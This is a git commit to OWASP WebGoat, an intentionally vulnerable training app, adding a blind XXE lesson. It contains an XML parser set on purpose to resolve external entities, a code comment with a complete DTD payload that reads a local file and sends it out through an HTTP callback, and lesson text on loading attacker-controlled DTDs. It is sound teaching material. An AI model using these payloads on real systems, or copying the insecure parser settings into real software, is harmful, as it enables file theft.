XXE checkin

This commit is contained in:
Nanne Baars 2016-11-18 10:39:39 +01:00
parent 38e5999472
commit f2a114419a
13 changed files with 329 additions and 10 deletions

View File

@ -106,6 +106,9 @@
</ciManagement>
<properties>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
<!-- Use UTF-8 Encoding -->
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>

View File

@ -35,6 +35,7 @@ import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
@ -50,7 +51,7 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
protected void configure(HttpSecurity http) throws Exception {
ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security = http
.authorizeRequests()
.antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**", "plugin_lessons/**").permitAll()
.antMatchers("/css/**", "/images/**", "/js/**", "fonts/**", "/plugins/**").permitAll()
.antMatchers("/servlet/AdminServlet/**").hasAnyRole("WEBGOAT_ADMIN", "SERVER_ADMIN") //
.antMatchers("/JavaSource/**").hasRole("SERVER_ADMIN") //
.anyRequest().hasAnyRole("WEBGOAT_USER", "WEBGOAT_ADMIN", "SERVER_ADMIN");
@ -65,8 +66,14 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
.logout()
.permitAll();
security.and().csrf().disable();
http.headers().cacheControl().disable();
http.headers().cacheControl().disable();
}
//// TODO: 11/18/2016 make this a little bit more configurabe last part at least
@Override
public void configure(WebSecurity web) throws Exception {
web.ignoring().antMatchers("/plugin_lessons/**", "/XXE/**");
}
@Autowired

View File

@ -43,17 +43,26 @@ public class AttackResult {
}
public static AttackResult success(String feedback) {
return success(feedback, "");
}
public static AttackResult success(String feedback, String output) {
AttackResult attackResult = new AttackResult();
attackResult.lessonCompleted = true;
attackResult.feedback = feedback;
attackResult.output = "";
attackResult.output = output;
return attackResult;
}
public static AttackResult failed(String feedback) {
return failed(feedback, "");
}
public static AttackResult failed(String feedback, String output) {
AttackResult attackResult = new AttackResult();
attackResult.lessonCompleted = false;
attackResult.feedback = feedback;
attackResult.output = output;
return attackResult;
}

View File

@ -0,0 +1,108 @@
package org.owasp.webgoat.plugin;
import org.apache.commons.lang.exception.ExceptionUtils;
import org.owasp.webgoat.lessons.Assignment;
import org.owasp.webgoat.lessons.model.AttackResult;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.List;
import static org.owasp.webgoat.plugin.SimpleXXE.parseXml;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author nbaars
* @version $Id: $Id
* @since November 18, 2016
*/
public class BlindSendFileAssignment extends Assignment {
@Override
public String getPath() {
return "XXE/blind";
}
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public AttackResult createNewUser(@RequestBody String userInfo) throws Exception {
String error = "";
try {
parseXml(userInfo);
} catch (Exception e) {
error = ExceptionUtils.getFullStackTrace(e);
}
File logFile = new File(getPluginDirectory(), "plugin/XXE/");
List<String> lines = Files.readAllLines(Paths.get(logFile.toURI()));
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
if (solved) {
return AttackResult.success();
} else {
return AttackResult.failed("Try again...", error);
}
}
/**
* Solution:
*
* Create DTD:
*
* <pre>
* <?xml version="1.0" encoding="UTF-8"?>
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
* %all;
* </pre>
*
* This will be reduced to:
*
* <pre>
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
* </pre>
*
* Wire it all up in the xml send to the server:
*
* <pre>
* <?xml version="1.0"?>
* <!DOCTYPE root [
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/plugin/XXE/test.dtd">
* %remote;
* ]>
* <user>
* <username>test&send;</username>
* </user>
*
* </pre>
*
*/
}

View File

@ -0,0 +1,67 @@
package org.owasp.webgoat.plugin;
import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.lessons.Endpoint;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.PrintWriter;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author nbaars
* @version $Id: $Id
* @since November 17, 2016
*/
@Slf4j
public class Ping extends Endpoint {
@Override
public String getPath() {
return "XXE/ping";
}
@RequestMapping(method = RequestMethod.GET)
@ResponseBody
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {
String logLine = String.format("%s %s %s", "GET", userAgent, text);
log.debug(logLine);
File logFile = new File(getPluginDirectory(), "plugin/XXE/");
try {
try (PrintWriter pw = new PrintWriter(logFile)) {
pw.println(logLine);
}
} catch (FileNotFoundException e) {
log.error("Error occured while writing the logfile", e);
}
return "";
}
}

View File

@ -59,9 +59,13 @@ public class SimpleXXE extends Assignment {
public AttackResult createNewUser(@RequestBody String userInfo) throws Exception {
User user = parseXml(userInfo);
if (checkSolution(user)) {
return AttackResult.success(String.format("Congratulation, welcome %s", user.getUsername()));
return AttackResult.success("Congratulation", String.format("Welcome %s you can now login to our website", user.getUsername()));
}
if (userInfo.contains("<!DOCTYPE")) {
return AttackResult.failed("Try again you did include a doctype in the xml!");
} else {
return AttackResult.failed(String.format("Welcome %s you can now login to our website", user.getUsername()));
}
return AttackResult.failed("Try again!");
}
public static User parseXml(String xml) throws Exception {
@ -69,6 +73,8 @@ public class SimpleXXE extends Assignment {
XMLInputFactory xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);
xif.setProperty(XMLInputFactory.IS_VALIDATING, false);
xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);
XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(xml));

View File

@ -115,6 +115,58 @@
<div class="adoc-content" th:replace="doc:XXE_overflow.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:XXE_blind.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div>
<div class="attack-container">
<!-- using attack-form class on your form will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<form class="attack-form" accept-charset="UNKNOWN" prepareData="registerJson" method="POST" name="form"
action="/WebGoat/XXE/content-type" contentType="application/json">
<script th:src="@{/plugin_lessons/plugin/XXE/js/xxe.js}"
language="JavaScript"></script>
<div id="lessonContent">
<strong>Registration form</strong>
<form prepareData="registerJson" accept-charset="UNKNOWN" method="POST" name="form" action="#attack/307/100">
<table>
<tr>
<td>Username</td>
<td><input name="username" value="" type="TEXT"/></td>
</tr>
<tr>
<td>E-mail</td>
<td><input name="email" value="" type="TEXT"/></td>
</tr>
<tr>
<td>Password</td>
<td><input name="email" value="" type="TEXT"/></td>
</tr>
<tr>
<td></td>
<td align="right"><input type="submit" value="Sign up"/></td>
</tr>
</table>
<br/>
<br/>
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</form>
</div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,

View File

@ -0,0 +1,55 @@
== Blind XXE
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
Let's start with an example, in this case we reference a external DTD which we control on our own server.
Our WebGoat server by default has an /xxe/ping endpoint which we can use. In real case this can be any server you control.
[source]
----
curl -i http://localhost:8080/WebGoat/XXE/ping
will result in:
GET curl/7.45.0
----
at the server side.
How do we use this endpoint to verify whether we can perform XXE?
In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd
[source]
----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld'>
----
Now submit the form and change the xml to:
[source]
----
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/plugin/XXE/attack.dtd">
%remote;
]>
<user>
<username>test&ping;</username>
</user>
----
Now if we check our server log we will see:
[source]
----
GET Java/1.8.0_101 HelloWorld
----
So with the XXE we are able to ping our own server which means XXE injection is possible.
[NOTE]
In this case we use http://localhost:8080/WebGoat/plugin_lessons/plugin/XXE/test.dtd to fetch the dtd but in reality this will
of course be a host fully under the attackers control.

View File

@ -0,0 +1,7 @@
== Blind XXE assignment
In the previous page we showed you how you can ping a server with a XXE attack, in this assigment try to make a DTD which will upload the
contents of ~/.webgoat/plugin/XXE/secret.txt to our server. For Linux: `/home/USER/.webgoat/plugin/XXE/secret.txt`, for Windows
this would be `c:/Users/USER/.webgoat/plugin/XXE/secret.txt`
Try to upload this file using the following endpoint: `http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]`

View File

@ -1,7 +1,7 @@
== Modern REST framework
In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about.
So this might result in JSON endpoints being vulnerable for XXE attacks.
So this might result in JSON endpoints being vulnerable to XXE attacks.
Again same exercise but try to perform the same XML injection as we did in first lesson.
Again same exercise but try to perform the same XML injection as we did in first assigment.

View File

@ -32,3 +32,8 @@ trusted application to pivot to other internal systems, possibly disclosing othe
any unprotected internal services. In some situations, an XML processor library that is vulnerable to client-side memory corruption issues
may be exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution under the application account. Other attacks can access
local resources that may not stop returning data, possibly impacting application availability if too many threads or processes are not released.
In general we can distinguish the following kind of XXE attacks:
* Classic: in this case an external entity is included in a local DTD
* Blind: no output and or errors are shown in the response
* Error: try to get the content of a resource in the error message

View File

@ -23,8 +23,7 @@ With the same XXE attack we can perform a DOS service attack towards the server.
When XML parser loads this document, it sees that it includes one root element, "lolz", that contains the text "&lol9;". However, "&lol9;" is a defined
entity that expands to a string containing ten "&lol8;" strings. Each "&lol8;" string is a defined entity that expands to ten "&lol7;" strings, and so on.
After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually contain 109 = a billion "lol"s, taking up almost 3
gigabytes of memory.
After all the entity expansions have been processed, this small (< 1 KB) block of XML will actually take up almost 3 gigabytes of memory.
This is called a "Billion laughs", more information can be found here: https://en.wikipedia.org/wiki/Billion_laughs

View File

@ -0,0 +1 @@
WebGoat 8 rocks...